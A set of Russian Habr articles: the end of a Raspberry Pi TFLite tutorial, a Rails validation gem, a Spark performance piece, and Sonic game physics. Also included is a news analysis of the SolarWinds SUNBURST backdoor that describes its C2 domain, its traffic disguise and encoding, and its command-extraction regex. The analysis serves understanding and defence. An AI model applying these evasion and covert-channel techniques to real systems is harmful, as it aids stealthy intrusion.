# Read class labels.
labels = load_labels(label_path)
# Return the classification label of the image.
classification_label = labels[label_id]
print("Image Label is :", classification_label, ", with Accuracy :", np.round(prob*100, 2), "%.")
```
После загрузки модели для выделения памяти под входные и выходные тензоры вызывается метод allocate\_tensors(), затем, чтобы вернуть информацию о входном тензоре, вызывается get\_input\_details(). В возвращаемую информацию входят ширина и высота входного изображения. Для чего они?
Вспомните, что загруженная модель принимает изображения 224x224. Если подать изображение другого размера, мы получим ошибку. Зная ширину и высоту принимаемого моделью изображения, можно изменить размер входных данных так, чтобы модель могла работать с ними. Тестовое изображение считывается с помощью PIL, и возвращается изображение с подходящим модели разрешением.
Теперь с помощью функции classify\_image(), реализация которой показана ниже, выполним классификацию. В ней функцией set\_input\_tensor() входной тензор модели устанавливается равным тензору тестового изображения.
> В оригинальной статье показанный ниже код не содержит вызова set\_input\_tensor(), при этом вызов set\_input\_tensor() есть чуть ниже, в полном коде программы, откуда и была взята правильная по тексту статьи реализация.
>
>
Далее для запуска модели и передачи входных данных вызывается invoke(). Выходные данные — индекс класса и его вероятность.
```
def classify_image(interpreter, image, top_k=1):
set_input_tensor(interpreter, image)
interpreter.invoke()
output_details = interpreter.get_output_details()[0]
output = np.squeeze(interpreter.get_tensor(output_details['index']))
scale, zero_point = output_details['quantization']
output = scale * (output - zero_point)
ordered = np.argpartition(-output, 1)
return [(i, output[i]) for i in ordered[:top_k]][0]
```
Далее метки классов загружаются из текстового файла с помощью функции load\_labels(), её реализация показана ниже. Она принимает путь к текстовому файлу и возвращает список с метками классов. Индекс класса, к которому отнесено изображение, используется для возврата соответствующей метки класса. Наконец, метка выводится на консоль.
```
def load_labels(path): # Read the labels from the text file as a Python list.
with open(path, 'r') as f:
return [line.strip() for i, line in enumerate(f.readlines())]
```
Весь код приведён ниже.
```
from tflite_runtime.interpreter import Interpreter
from PIL import Image
import numpy as np
import time
def load_labels(path): # Read the labels from the text file as a Python list.
with open(path, 'r') as f:
return [line.strip() for i, line in enumerate(f.readlines())]
def set_input_tensor(interpreter, image):
tensor_index = interpreter.get_input_details()[0]['index']
input_tensor = interpreter.tensor(tensor_index)()[0]
input_tensor[:, :] = image
def classify_image(interpreter, image, top_k=1):
set_input_tensor(interpreter, image)
interpreter.invoke()
output_details = interpreter.get_output_details()[0]
output = np.squeeze(interpreter.get_tensor(output_details['index']))
scale, zero_point = output_details['quantization']
output = scale * (output - zero_point)
ordered = np.argpartition(-output, 1)
return [(i, output[i]) for i in ordered[:top_k]][0]
data_folder = "/home/pi/TFLite_MobileNet/"
model_path = data_folder + "mobilenet_v1_1.0_224_quant.tflite"
label_path = data_folder + "labels_mobilenet_quant_v1_224.txt"
interpreter = Interpreter(model_path)
print("Model Loaded Successfully.")
interpreter.allocate_tensors()
_, height, width, _ = interpreter.get_input_details()[0]['shape']
print("Image Shape (", width, ",", height, ")")
# Load an image to be classified.
image = Image.open(data_folder + "test.jpg").convert('RGB').resize((width, height))
# Classify the image.
time1 = time.time()
label_id, prob = classify_image(interpreter, image)
time2 = time.time()
classification_time = np.round(time2-time1, 3)
print("Classificaiton Time =", classification_time, "seconds.")
# Read class labels.
labels = load_labels(label_path)
# Return the classification label of the image.
classification_label = labels[label_id]
print("Image Label is :", classification_label, ", with Accuracy :", np.round(prob*100, 2), "%.")
```
Вывод программы:
```
Model Loaded Successfully.
Image Shape ( 224 , 224 )
Classificaiton Time = 0.345 seconds.
Image Label is : Egyptian cat , with Accuracy : 53.12 %.
```
Raspberry Pi — относительно недорогой компьютер, на котором уже сегодня можно запускать простые модели — ML идёт к тому, чтобы стать таким же естественным, как вода в вашем доме — и если вы не хотите оставаться в стороне от сферы ИИ, то можете обратить внимание на наш курс [«Machine Learning и Deep Learning»](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=090721), а если предпочитаете полагаться не на машины, но на себя, то можете присмотреться к нашему флагманскому [курсу о Data Science](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=090721).
[Узнайте](https://skillfactory.ru/courses/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ALLCOURSES&utm_term=regular&utm_content=090721), как прокачаться и в других специальностях или освоить их с нуля:
* [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=090721)
* [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=090721)
* [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEA&utm_term=regular&utm_content=090721)
Другие профессии и курсы**ПРОФЕССИИ**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=090721)
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=090721)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_QAJA&utm_term=regular&utm_content=090721)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=090721)
* [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=090721)
* [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=090721)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=090721)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=090721)
* [Профессия iOS-разработчик с нуля](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=090721)
* [Профессия Android-разработчик с нуля](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=090721)
**КУРСЫ**
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=090721)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=090721)
* [Курс «Математика для Data Science»](https://skillfactory.ru/math-stat-for-ds#syllabus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MAT&utm_term=regular&utm_content=090721)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=090721)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=090721)
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algo?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_algo&utm_term=regular&utm_content=090721)
* [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=090721)
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=090721) | https://habr.com/ru/post/566926/ | null | ru | null |
# Хакеры SolarWinds размазали свои байты в HTTP-трафике через регулярные выражения
*Валидная цифровая подпись на DLL со встроенным бэкдором*
Практически по всем профильным СМИ [прошла новость](https://habr.com/ru/news/t/533220/) о взломе программного обеспечения SolarWinds в рамках глобальной кампании кибершпионажа. Здесь нужно понимать масштаб атаки: этот софт для мониторинга IT-инфраструктуры (CPU, RAM, сеть) используют тысячи частных компаний и государственных учреждений, включая АНБ, Пентагон, Госдеп и проч. В общей сложности [300 000 клиентов по всему миру](https://web.archive.org/web/20201214065921/https://www.solarwinds.com/company/customers) (данная страница уже удалена с официального сайта SolarWinds, по ссылке — копия из веб-архива).
Самое интересное в этой атаке: 1) внедрение бэкдора внутрь обновлений SolarWinds и 2) оригинальный механизм сокрытия данных в служебном HTTP-трафике программы SolarWinds. В двух словах расскажем о методе стеганографии (covert signaling), который здесь применялся.
Отдельные подробности об атаке [опубликовала](https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html) компания FireEye в отчёте от 13 декабря 2020 года. Эта американская компания должна защищать сети своих клиентов от подобных диверсий, но в итоге и сама пострадала от взлома вместе с ними.
Некоторые из клиентов SolarWinds:
Основные факты
==============
* Бэкдор обнаружен спустя **семь месяцев** после начала атаки, ему присвоено кодовое название SUNBURST. Учитывая масштаб заражения, это серьёзный фейл антивирусных компаний.
* Заражённая DLL распространялась с обновлениями платформы [SolarWinds Orion](https://documentation.solarwinds.com/en/Success_Center/orionplatform/Content/Core-How-Orion-Works-sw1625.htm), которая служит для мониторинга корпоративной сети.
*Платформа SolarWinds Orion*
Валидная цифровая подпись
=========================
Бэкдор обнаружен в библиотеке *SolarWinds.Orion.Core.BusinessLayer.dll*, которая подписана действительной цифровой подписью компании *SolarWinds Worldwide, LLC* (скриншот выше).
В частности, инфицирован ряд обновлений программы SolarWinds Orion за март-май 2020 года, которые распространялись с действительной цифровой подписью.
Это был стандартный файл Windows Installer Patch со всеми обычными ресурсами, включая заражённую библиотеку *SolarWinds.Orion.Core.BusinessLayer.dll*. После установки библиотека нормально загружалась в память штатным экзешником *SolarWinds.BusinessLayerHost.exe*.
Специалисты Microsoft [пояснили](https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/), что злоумышленники «использовали локальный взлом [on-premises compromise], чтобы получить доступ к доверенному сертификату подписи SAML-токенов организации [SolarWinds]. Это позволило им подделать токены SAML для всех существующих пользователей и аккаунтов организации, включая высокопривилегированные». Судя по всему, речь о физическом проникновении в офис компании (on-premises compromise).
Уникальные особенности
======================
* Алгоритм Domain Generation Algorithm (DGA) для генерации поддоменов и изменения DNS-запросов. Троян отправлял запрос на резолв поддомена *avsvmcloud[.]com*, а в DNS-ответе содержалась запись CNAME с указанием командного сервера.
* Весь трафик маскировался под сетевой трафик по служебному протоколу Orion Improvement Program (OIP) через SolarWinds API. Таким образом, антивирусы и файрволы не могли отличить активность бэкдора от настоящей активности программы SolarWinds.
* Программный код бэкдора внедрялся в стандартные программные компоненты.
Стеганография
=============
А вот самая интересная часть — как именно бэкдор маскировал пакеты в обычном сетевом трафике:
> Для получения данных зловред использовал запросы HTTP GET или HTTP HEAD, и для отправки — HTTP PUT или HTTP POST. Метод PUT использовался, когда полезная нагрузка меньше 10000 байт; в противном случае используется POST. HTTP-заголовок If-None-Match содержит заксоренное представление userID, вычисленного ранее, с добавлением случайного массива байтов той же длины.
>
>
>
> Полезная нагрузка JSON в запросах HTTP POST и PUT содержит ключи userId, sessionId и steps. Сообщения с данными для отправки на сервер сжаты DEFLATE и однобайтовым XOR. Каждое сообщение отдельно кодируется Base64.
>
>
>
> **В наблюдаемом трафике тела HTTP-ответов скрываются под доброкачественные XML, связанные со [сборками .NET](https://docs.microsoft.com/en-us/dotnet/standard/assembly/). Но на самом деле данные распределены по многим строкам GUID и HEX. Команды извлекаются из тел HTTP-ответов путём поиска hex-строк с использованием следующего регулярного выражения: `\{[0-9a-f-]{36}\}"|"[0-9a-f]{32}"|"[0-9a-f]{16}`. Командные данные распределены по нескольким строкам, замаскированным под строки GUID и HEX. Все совпадающие подстроки в ответе фильтруются на наличие символов не-HEX, объединяются вместе и декодируются HEX. Первое значение DWORD показывает фактический размер сообщения, за которым сразу же следует сообщение, а затем необязательные мусорные байты. Извлечённое декодируется однобайтным XOR с использованием первого байта сообщения, а затем разархивируется DEFLATE. Первый символ — это целое число ASCII, которое соответствует команде JobEngine с необязательными дополнительными аргументами, разделёнными пробелами.**
Заказчик
В случае таких продвинутых атак невозможно установить разработчиков программы. Исследователи делают предположения на основании совпадения кода с ранее обнаруженными хакерскими инструментами, а также исходя из того, кто именно стал жертвой шпионажа.
Например, в 2010 году были [повреждены иранские установки для обогащения урана](https://habr.com/ru/post/105964/). Очень продвинутый зловред Stuxnet слегка менял скорость вращения установок — и в конце концов вывел их из строя. Соответственно, логично предположить, что [заказчиками и разработчиками зловредров были спецслужбы США и Израиля](https://en.wikipedia.org/wiki/Operation_Olympic_Games), поскольку эти страны планомерно пытаются помешать изготовлению ядерного оружия в Иране, действуя не всегда дипломатическими методами.
Что касается бэкдора SUNBURST, то его приписывают скорее российским хакерам из группировки [APT29](https://en.wikipedia.org/wiki/Cozy_Bear) (Cozy Bear), исходя из хитроумности применяемых техник, выбора целей и физического проникновения в офис жертвы. Хотя достоверно заказчик и исполнитель не известны.
Правила Snort для обнаружения и блокировки трафика SUNBURST [опубликованы в свободном доступе](https://github.com/fireeye/sunburst_countermeasures/blob/main/all-snort.rules).
---
================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================== | https://habr.com/ru/post/534094/ | null | ru | null |
# Настоящая валидация на уникальность
Каждый рубист, поработавший с [Ruby On Rails](https://rubyonrails.org/) знаком с [ORM](https://ru.wikipedia.org/wiki/ORM) [ActiveRecord](https://github.com/rails/rails/tree/master/activerecord). Обсудим одну из предложенных из коробки валидаций, а именно, валидации на уникальность, и почему [database\_validations](https://github.com/toptal/database_validations) gem спасет консистенцию вашей базы данных.
Допустим, у вас есть модель пользователей с уникальностью на поле *email*, т.е.
```
class User < ApplicationRecord
validates :email, uniqueness: true
end
```
Вы, возможно, уже знаете, что данная валидация выполняет следующий запрос
```
SELECT 1 FROM users WHERE email = $1
```
каждый раз, когда мы пытаемся сохранить запись в базу данных.
У данного подхода, есть несколько недостатков:
**Во-первых**, исполнение дополнительного запроса, и в случае, если в модели инициализировано несколько валидаций на уникальность, запрос будет выполнен на каждую из них. Это не эффективно, а также требует наличие индексов, если мы хотим, чтобы данные запросы исполнялись быстро.
**Во-вторых**, данное решение не гарантирует уникальность из-за возможной [гонки за данными](https://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D0%B5_%D0%B3%D0%BE%D0%BD%D0%BA%D0%B8). Несколько конкурентных операций могут одновременно узнать об отсутствии конкретной записи, в следствии чего, сохранить одни и те же данные.
Конечно, редкие случаи с гонкой данных возможно разрешить добавив ограничение на уникальность на уровне базы данных. Но в данном случае, вы не получите ошибку валидации, запрос к БД просто упадет и вся транзакция откатится.
В этой ситуации поможет gem [database\_validations](https://github.com/toptal/database_validations), который предоставляет совместимость между ограничениями в базе данных и валидациями.
Основной смысл работы gem представлен в следующем коде:
```
def save(options = {})
ActiveRecord::Base.connection.transaction(requires_new: true) { super }
rescue ActiveRecord::RecordNotUnique => e
Helpers.handle_unique_error!(self, e)
false
end
```
Таким образом, мы пробуем сохранить данные, если все другие валидации пройдены, если транзакция падает и откатывается, мы парсим ошибку и присваиваем правильные значения в `errors` нашего объекта.
Ознакомившись с [документацией](https://github.com/toptal/database_validations#databasevalidations) и [бенчмарками](https://github.com/toptal/database_validations#benchmark-code), можно прийти к выводу, что данный gem ускорит процесс сохранения записей в базу данных минимум в **два** раза.
Благодаря поддержке таких баз данных, как *PostgreSQL*, *SQLite*, *MySQL* и обратной совместимости с `validates_uniqueness_of`, процесс замены на `validates_db_uniqueness_of` занимает считанные минуты.
Удобный matcher для RSpec также присутствует из коробки:
```
specify do
expect(described_class)
.to validate_db_uniqueness_of(:field)
.with_message('duplicate')
.with_where('(some_field IS NULL)')
.scoped_to(:another_field)
.with_index(:unique_index)
end
```
При переходе на новую валидацию, вам необходимо иметь ограничения на уникальность в базе данных, но если их еще нет, gem об этом укажет во время запуска приложения.
Гем протестирован на приложении с 100+ валидациями на уникальность среди 50+ моделей.
Используйте гем и делитесь мнением. Любой вклад в дальнейшее развитие приветствуется! | https://habr.com/ru/post/431298/ | null | ru | null |
# Секреты производительности Spark, или Почему важна компиляция запросов
> **Для будущих студентов курсов**[**"Data Engineer"**](https://otus.pw/lH2x/) **и** [**"Экосистема Hadoop, Spark, Hive"**](https://otus.pw/XO0N/) **подготовили еще один перевод полезной статьи.**
>
>
---
Criteo — это компания, работа которой основана на данных. Каждый день через наши системы проходят десятки терабайт новых данных для обучения моделей рекомендаций, обрабатывающих запросы в масштабах всего Интернета. Spark — наше основное средство обработки больших данных. Это мощный и гибкий инструмент, однако он отличается довольно высокой сложностью в освоении, а чтобы пользоваться им эффективно, зачастую требуется читать исходный код платформы.
Быстрая обработка больших данных имеет критическое значение для нашего бизнеса:
* мы часто обновляем наши модели, повышая их производительность для наших клиентов;
* мы быстро выводим новые продукты на базе машинного обучения на рынок за счет того, что можем быстро выполнять итерации;
* от скорости обработки данных зависят затраты на [инфраструктуру](https://labs.criteo.com/about-us/).
В этой статье я расскажу о написании эффективного кода Spark и на примерах продемонстрирую распространенные подводные камни. Я покажу, что в большинстве случаев Spark SQL (Datasets) следует отдавать предпочтение перед Spark Core API (RDD), и если сделать правильный выбор, можно повысить производительность обработки больших данных в 2–10 раз, а это очень значимо.
### Конфигурация для экспериментов
Spark 2.4.6, Macbook Pro 2017 с процессором Intel Core i7 с частотой 3,5 ГГц
Измерения всегда производятся на разогретой виртуальной Java-машине (выполняется 100 прогонов кода, и берется среднее значение за последние 90 прогонов). Приведенный в этой статье код написан на Scala, но ее выводы должны быть справедливыми и для Python.
### Заблуждения, связанные с обработкой больших данных
Существует распространенное мнение, что в процессах обработки больших данных есть два основных узких места, влияющих на производительность:
* перетасовка данных, поскольку для ее выполнения требуется отправлять данные по сети;
* дисковый ввод-вывод, поскольку доступ к данным на диске всегда намного медленнее, чем доступ к данным в ОЗУ.
Эти представления имеют под собой исторические основания — в 2006 году, когда впервые появилась библиотека Hadoop, обычные жесткие диски были медленными и ненадежными, а основной платформой для обработки больших данных была MapReduce. Именно медленная работа жестких дисков и подстегнула разработку таких средств обработки в памяти, как Spark. С того времени характеристики аппаратного обеспечения значительно улучшились.
В 2015 году в [исследовании Кей Остерхаут (Kay Ousterhout) и др.](https://www.usenix.org/system/files/conference/nsdi15/nsdi15-paper-ousterhout.pdf)¹ были проанализированы узкие места в заданиях Spark, и в результате выяснилось, что скорость их выполнения в большей степени определяется операциями, загружающими ЦП, а не вводом-выводом и передачей данных по сети. В частности, авторами этой научной работы был выполнен широкий спектр запросов к трем тестовым наборам данных, включая [TPC-DS](http://www.tpc.org/tpcds/)², и было определено, что:
* если бы пропускная способность сети была безграничной, время выполнения заданий можно было бы сократить на 2 % (медианное значение);
* если бы пропускная способность дискового ввода-вывода была безграничной, время выполнения стандартного аналитического процесса можно было бы сократить на 19 % (медианное значение).
Весьма неожиданный результат! Получается, что дисковый ввод-вывод оказывает намного большее влияние на производительность, чем передача данных по сети. Этому есть несколько причин:
* Spark использует дисковый ввод-вывод не только при считывании входного набора данных и записи результата, но и в ходе выполнения заданий для кэширования и переноса на диск данных, которые не умещаются в ОЗУ.
* При выполнении аналитических заданий часто требуется производить агрегацию, поэтому объем данных, передаваемых по сети, обычно меньше, чем объем данных, которые первоначально считываются с диска.
Интересно, что специалисты Databricks примерно в 2016 году³ [пришли](https://databricks.com/blog/2015/04/28/project-tungsten-bringing-spark-closer-to-bare-metal.html) к таким же заключениям, что заставило их переориентировать вектор развития Spark на оптимизацию использования процессора. Результатом стало внедрение поддержки SQL, а также API DataFrames и позднее Datasets.
### Насколько быстро работает Spark?
Давайте рассмотрим простую задачу — посчитаем наивным методом четные числа от 0 до 10⁹. Для выполнения такого задания Spark, в принципе, не требуется, поэтому для начала напишем простую программу на Scala:
```
var res: Long = 0L
var i: Long = 0L
while (i < 1000L * 1000 * 1000) {
if (i % 2 == 0) res += 1
i += 1L
}
```
*Листинг 1. Наивный подсчет*
А теперь давайте также вычислим этот же результат с помощью Spark RDD и Spark Datasets. Чтобы эксперимент был честным, я запускаю Spark в локальном[1] режиме:
```
val res = spark.sparkContext
.range(0L, 1000L * 1000 * 1000)
.filter(_ % 2 == 0)
.count()
```
*Листинг 2. Подсчет с помощью RDD*
```
val res = spark.range(1000L * 1000 * 1000)
.filter(col("id") % 2 === 0)
.select(count(col("id")))
.first().getAs[Long](0)
```
*Листинг 3. Подсчет с помощью Datasets*
Время выполнения всех фрагментов кода приведено ниже. Неудивительно, что написанный вручную код является самым эффективным решением. Удивительно же то, что RDD в пять раз медленнее, тогда как у Datasets время вычисления почти такое же, как у написанного вручную кода.
### Парадокс Datasets
Парадокс: API-интерфейс Datasets построен на основе RDD, однако работает намного быстрее, почти так же быстро, как код, написанный вручную для конкретной задачи. Как такое вообще возможно? Дело в новой модели выполнения.
### Прошлое — модель Volcano
Код, написанный с использованием RDD, выполняется с помощью модели выполнения Volcano. На практике это означает, что каждый RDD следует стандартному интерфейсу:
* знает свой родительский RDD;
* предоставляет посредством метода `compute` доступ к итератору Iterator[T], который перебирает элементы данного RDD (он является private и должен использоваться только разработчиками Spark).
```
abstract class RDD[T: ClassTag]
def compute(…): Iterator[T]
```
*Листинг 4. RDD.scala*
С учетом этих свойств упрощенная версия реализации функции подсчета для RDD, которая игнорирует разбиение, выглядит вот так:
```
def pseudo_rdd_count(rdd: RDD[T]): Long = {
val iter = rdd.compute
var result = 0
while (iter.hasNext) result += 1
result
}
```
*Листинг 5. Псевдокод для действия подсчета на основе RDD*
Почему этот код работает значительно медленнее, чем написанный вручную код, который приведен в листинге 1? Есть несколько причин:
* Вызовы итераторов виртуальной функцией: вызовы Iterator.next() несут дополнительную нагрузку по сравнению с функциями, не являющимися виртуальными, которые могут выполняться компилятором или [JIT](https://en.wikipedia.org/wiki/Just-in-time_compilation) как встроенные (inline).
* Отсутствие оптимизации на уровне ЦП: виртуальная Java-машина и JIT не могут оптимизировать байт-код, образуемый листингом 5, так же хорошо, как байт-код, получаемый при использовании листинга 1. В частности, написанный вручную код позволяет виртуальной Java-машине и JIT хранить промежуточные результаты вычислений в регистре ЦП, а не помещать их в основную память.
### Настоящее — формирование кода всего этапа
Код, написанный с помощью [Spark SQL](http://people.csail.mit.edu/matei/papers/2015/sigmod_spark_sql.pdf)⁵, выполняется не так, как код, написанный с использованием RDD. Когда запускается действие, Spark генерирует код, который сворачивает несколько трансформаций данных в одну функцию. Этот процесс называется формированием кода всего этапа ([Whole-Stage Code Generation](https://databricks.com/blog/2016/05/23/apache-spark-as-a-compiler-joining-a-billion-rows-per-second-on-a-laptop.html))⁶. Spark пытается воспроизвести процесс написания специального кода для конкретной задачи, в котором не используются вызовы виртуальных функций. Такой код может выполняться JVM/JIT более эффективно. На самом деле Spark генерирует довольно много кода, см., например, [код Spark для листинга 3](https://gist.github.com/vzayaz/66991613b1a24b4d492687f4294663b1).
Технически Spark только формирует высокоуровневый код, а генерация байт-кода выполняется компилятором [Janino](https://janino-compiler.github.io/janino/)⁴. Именно это и делает Spark SQL настолько быстрым по сравнению с RDD.
### Эффективное использование Spark
Сегодня в Spark есть 3 API-интерфейса Scala/Java: RDD, Datasets и DataFrames (который теперь объединен с Datasets). RDD все еще широко применяется в Spark — в частности, из-за того, что этот API используется большинством созданных ранее заданий, и перспектива «продолжать в том же духе» весьма заманчива. Однако, как показывают тесты, переход на API-интерфейс Datasets может дать громадный прирост производительности за счет оптимизированного использования ЦП.
### Неправильный подход — классический способ
Самая распространенная проблема, с которой я сталкивался при использовании Spark SQL, это явное переключение на API RDD. Причина состоит в том, что программисту зачастую проще сформулировать вычисление в терминах объектов Java, чем с помощью ограниченного языка Spark SQL:
```
val res = spark.range(1000L * 1000 * 1000)
.rdd
.filter(_ %2 == 0)
.count()
```
*Листинг 6. Переключение с Dataset на RDD*
Этот код выполняется в течение 43 секунд вместо исходных 2,1 секунды, при этом делая абсолютно то же самое. Явное переключение на RDD останавливает формирование кода всего этапа и запускает преобразование элементов наборов данных из примитивных типов в объекты Java, что оказывается очень затратным. Если мы сравним схемы этапов выполнения кода из листингов 3 и 6 (см. ниже), то увидим, что во втором случае появляется дополнительный этап.
Рисунок 1. Визуальные представления этапов для листинга 3 (схема a) и листинга 6 (схема b)### Неправильный подход — изысканный способ
Производительность Spark SQL является на удивление хрупкой. Это незначительное изменение приводит к увеличению времени выполнения запроса в три раза (до 6 секунд):
```
val res = spark
.range(1000L * 1000 * 1000)
.filter(x => x % 2 == 0) // note that the condition changed
.select(count(col("id")))
.first()
.getAs[Long](0)
```
*Листинг 7. Замена выражения Spark SQL функцией Scala*
Spark не способен генерировать эффективный код для условия в фильтре. Условие является анонимной функцией Scala, а не выражением Spark SQL, и Spark выполнит десериализацию каждой записи из оптимизированного внутреннего представления, чтобы вызвать эту функцию. Причем вот что примечательно — это изменение никак не сказывается на визуальном представлении этапов (рис. 1a), поэтому его невозможно обнаружить, анализируя направленный ациклический граф (DAG) задания в пользовательском интерфейсе Spark.
Высокая производительность Spark SQL обеспечивается за счет ограничения круга доступных операций — чем-то все равно приходится жертвовать! Чтобы получить максимальную производительность, нужно использовать преобразования, которые работают со столбцами: используйте filter(condition: Column) вместо filter(T => Boolean) и select(…) вместо map(…). При этом Spark не придется перестраивать объект, представленный одной строкой набора данных (Dataset). И, разумеется, избегайте переключения на RDD.
### Заключение и итоговые замечания
Приведенные в этой статье простые примеры демонстрируют, что большая часть времени выполнения заданий обработки больших данных не тратится на полезную работу. Хорошим решением этой проблемы является компиляция запросов, которая возможна с использованием Spark SQL и обеспечивает более эффективное использование современного аппаратного обеспечения. Последние исследования свидетельствуют, что использование эффективных запросов для стандартных процессов обработки больших данных важнее, чем оптимизация использования сети и дискового ввода-вывода.
Правильное применение компиляции запросов может сократить время обработки в 2–10 раз, а это означает ускорение экспериментов, снижение затрат на инфраструктуру и громадное удовольствие от элегантного выполнения своей работы!
Образцы кода из этой статьи можно найти [здесь](https://github.com/vzayaz/spark-sql-benchmark). С помощью этого репозитория можно анализировать производительность разных запросов Spark.
#### Использованные материалы
1. Ousterhout, Kay, et al. Making sense of performance in data analytics frameworks (Анализ производительности платформ анализа данных). *12-й симпозиум {USENIX} по проектированию и реализации сетевых систем ({NSDI} 15)*. 2015.
2. [www.tpc.org/tpcds/](http://www.tpc.org/tpcds/)
3. [databricks.com/blog/2015/04/28/project-tungsten-bringing-spark-closer-to-bare-metal.html](https://databricks.com/blog/2015/04/28/project-tungsten-bringing-spark-closer-to-bare-metal.html)
4. [janino-compiler.github.io/janino/](https://janino-compiler.github.io/janino/)
5. [people.csail.mit.edu/matei/papers/2015/sigmod*s*parksql.pdf](http://people.csail.mit.edu/matei/papers/2015/sigmod_spark_sql.pdf)
6. [databricks.com/blog/2016/05/23/apache-spark-as-a-compiler-joining-a-billion-rows-per-second-on-a-laptop.html](https://databricks.com/blog/2016/05/23/apache-spark-as-a-compiler-joining-a-billion-rows-per-second-on-a-laptop.html)
---
> **Узнать подробнее о курсах** [**"Data Engineer"**](https://otus.pw/lH2x/) **и** [**"Экосистема Hadoop, Spark, Hive"**](https://otus.pw/XO0N/)
>
> | https://habr.com/ru/post/529684/ | null | ru | null |
# Обзор физики в играх Sonic. Части 3 и 4: прыжки и вращение
*От переводчика: части обзора имеют небольшой размер, поэтому решил переводить сразу по две части.*
**Ссылки на другие части серии:**
[Часть 1: твердые тайлы](https://habrahabr.ru/post/276669/)
[Часть 2: бег](https://habrahabr.ru/post/276849/)
[Части 5 и 6: потеря колец и нахождение под водой](https://habrahabr.ru/post/305312/)
[Части 7 и 8: пружины и штуковины, суперскорости](https://habrahabr.ru/post/306756/)
Часть 3: прыжки
===============
* [1 Ускорение в воздухе](#Air_Acceleration)
* [2 Гравитация](#Gravity)
* [3 Максимальная вертикальная скорость](#Top_Y_Speed)
* [4 Сопротивление воздуха](#Air_Drag)
* [5 Скорость прыжка](#Jump_Velocity)
**Ускорение в воздухе**
Когда Соник находится в воздухе, он может ускоряться быстрее, чем на земле. В два раза быстрее, если быть точным: 0.09375. Назовём это значение *air*.
В воздухе отсутствует трение (но есть сложный эффект сопротивления, который будет рассмотрен ниже), и почти всегда, когда Соник имеет в воздухе определённую горизонтальную скорость, он будет сохранять её, пока игрок не изменит её или Соник не ударится об стену.
Кроме того, для замедления также нет отличий, при нажатии кнопки «влево» из горизонтальной скорости всегда будет вычитаться *air*, а при нажатии кнопки «вправо» *air* будет к ней добавляться.
Максимальная скорость Соника в воздухе такая же, как и на земле, и равна 6.
**Гравитация**
Гравитация имеет значение 0.21875 (*grv*). Эта величина добавляется к вертикальной скорости в каждом шаге, в котором Соник не находится на земле. Она заставляет его падать вниз при соскальзывании с обрыва и не позволяет ему бесконечно двигаться вверх при прыжке.
**Максимальная вертикальная скорость**
Похоже, что в игре *Sonic 1* вертикальная скорость Соника никак не ограничена. При падении *grv* продолжает прибавляться к вертикальной скорости, бесконечно увеличивая её.
